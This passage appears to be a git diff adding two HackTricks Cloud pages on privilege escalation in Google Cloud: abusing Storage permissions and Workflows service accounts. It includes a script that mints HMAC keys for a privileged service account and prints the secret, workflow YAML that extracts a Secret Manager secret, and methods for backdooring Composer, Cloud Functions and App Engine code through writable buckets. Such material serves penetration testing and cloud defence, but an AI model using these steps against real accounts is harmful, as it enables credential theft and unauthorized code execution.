* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,146 @@
# GCP - Storage Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Storage
Basic Information:
{% content-ref url="../gcp-services/gcp-storage-enum.md" %}
[gcp-storage-enum.md](../gcp-services/gcp-storage-enum.md)
{% endcontent-ref %}
### `storage.objects.get`
This permission allows you to **download files stored inside Cloud Storage**. This will potentially allow you to escalate privileges because in some occasions **sensitive information is saved there**. Moreover, some GCP services stores their information in buckets:
* **GCP Composer**: When you create a Composer Environment the **code of all the DAGs** will be saved inside a **bucket**. These tasks might contain interesting information inside of their code.
* **GCR (Container Registry)**: The **image** of the containers are stored inside **buckets**, which means that if you can read the buckets you will be able to download the images and **search for leaks and/or source code**.
### `storage.objects.setIamPolicy`
You can give you permission to **abuse any of the previous scenarios of this section**.
### **`storage.buckets.setIamPolicy`**
For an example on how to modify permissions with this permission check this page:
{% content-ref url="../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md" %}
[gcp-public-buckets-privilege-escalation.md](../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md)
{% endcontent-ref %}
### `storage.hmacKeys.create`
Cloud Storage's "interoperability" feature, designed for **cross-cloud interactions** like with AWS S3, involves the **creation of HMAC keys for Service Accounts and users**. An attacker can exploit this by **generating an HMAC key for a Service Account with elevated privileges**, thus **escalating privileges within Cloud Storage**. While user-associated HMAC keys are only retrievable via the web console, both the access and secret keys remain **perpetually accessible**, allowing for potential backup access storage. Conversely, Service Account-linked HMAC keys are API-accessible, but their access and secret keys are not retrievable post-creation, adding a layer of complexity for continuous access.
{% code overflow="wrap" %}
```bash
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
key = requests.post(
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
).json()
#print(json.dumps(key, indent=4))
print(f'ID: {key["metadata"]["accessId"]}')
print(f'Secret: {key["secret"]}')
# Configure gsutil to use the HMAC key
gcloud config set pass_credentials_to_gsutil false
gsutil config -a
# Use it
gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
```
{% endcode %}
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
## `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
In order to **create a new object** inside a bucket you need `storage.objects.create` and, according to [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), you need also `storage.objects.delete` to **modify** an existent object.
A very **common exploitation** of buckets where you can write in cloud is in case the **bucket is saving web server files**, you might be able to **store new code** that will be used by the web application.
### Composer
**Composer** is **Apache Airflow** managed inside GCP. It has several interesting features:
* It runs inside a **GKE cluster**, so the **SA the cluster uses is accessible** by the code running inside Composer
* All the components of a composer environments (**code of DAGs**, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version.
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
### Cloud Functions
* Cloud Functions code is stored in Storage and whenever a new version is created the code is pushed to the bucket and then the new container is build from this code. Therefore, **overwriting the code before the new version gets built it's possible to make the cloud function execute arbitrary code**.
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
### App Engine
AppEngine versions generate some data inside a bucket with the format name: `staging.<project-id>.appspot.com`. Inside this bucket, it's possible to find a folder called `ae` that will contain a folder per version of the AppEngine app and inside these folders it'll be possible to find the `manifest.json` file. This file contains a json with all the files that must be used to create the specific version. Moreover, it's possible to find the **real names of the files, the URL to them inside the GCP bucket (the files inside the bucket changed their name for their sha1 hash) and the sha1 hash of each file.**
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
However, with read & write access over this bucket, it's possible to escalate privileges to the SA attached to the App Engine version by monitoring the bucket and any time a change is performed (new version), modify the new version as fast as possible. This way, the container that gets created from this code will execute the backdoored code.
The mentioned attack can be performed in a lot of different ways, all of them start by monitoring the `staging.<project-id>.appspot.com` bucket:
* Upload the complete new code of the AppEngine version to a different and available bucket and prepare a **`manifest.json` file with the new bucket name and sha1 hashes of them**. Then, when a new version is created inside the bucket, you just need to modify the `manifest.json` file and upload the malicious one.
* Upload a modified `requirements.txt` version that will use a the **malicious dependencies code and update the `manifest.json`** file with the new filename, URL and the hash of it.
* Upload a **modified `main.py` or `app.yaml` file that will execute the malicious code** and update the `manifest.json` file with the new filename, URL and the hash of it.
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
### GCR
* **Google Container Registry** stores the images inside buckets, if you can **write those buckets** you might be able to **move laterally to where those buckets are being run.**
* The bucket used by GCR will have an URL similar to `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (The top level subdomains are specified [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
{% hint style="success" %}
This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
{% endhint %}
## **References**
* [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,139 @@
# GCP - Workflows Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Workflows
Basic Information:
{% content-ref url="../gcp-services/gcp-workflows-enum.md" %}
[gcp-workflows-enum.md](../gcp-services/gcp-workflows-enum.md)
{% endcontent-ref %}
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
Afaik it's not possible to get a shell with access to the metadata endpoint containing the SA credentials of the SA attacked to a Workflow. However, it's possible to abuse the permissions of the SA by adding the actions to perform inside the Workflow.
It's possible to find the documentation of the connectors. For example, this is the [**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** In the side bar it's possible to find several other connectors.
And here you can find an example of a connector that prints a secret:
```yaml
main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: '${str_secret}'
```
Update from the CLI:
```bash
gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1
```
If you get an error like `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, just **wait a minute and try again**.
If you don't have web access it's possible to trigger and see the execution of a Workflow with:
{% code overflow="wrap" %}
```bash
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1
# List executions
gcloud workflows executions list <workflow-name>
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
```
{% endcode %}
{% hint style="danger" %}
You can also check the output of previous executions to look for sensitive information
{% endhint %}
Note that even if you get an error like `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` because you don't have that permission, the workflow has been generated.
### Leak OIDC token (and OAuth?)
According [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) it's possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of [Cloud Scheduler](gcp-cloudscheduler-privesc.md), the HTTP request with the Oauth token must be to the host `.googleapis.com`.
{% hint style="danger" %}
Therefore, it's **possible to leak the OIDC token by indicating a HTTP endpoint** controlled by the user but to leak the **OAuth** token you would **need a bypass** for that protection. However, you are still able to **contact any GCP api to perform actions on behalf the SA** using either connectors or HTTP requests with the OAuth token.
{% endhint %}
#### Oauth
{% code overflow="wrap" %}
```yaml
- step_A:
      call: http.post
      args:
          url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
          auth:
              type: OAuth2
              scopes: OAUTH_SCOPE
```
{% endcode %}
#### OIDC
```yaml
- step_A:
      call: http.get
      args:
          url: https://us-central1-project.cloudfunctions.net/functionA
          query:
              firstNumber: 4
              secondNumber: 6
              operation: sum
          auth:
              type: OIDC
              audience: OIDC_AUDIENCE
```
### `workflows.workflows.update` ...
With this permission instead of `workflows.workflows.create` it's possible to update an already existing workflow and perform the same attacks.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}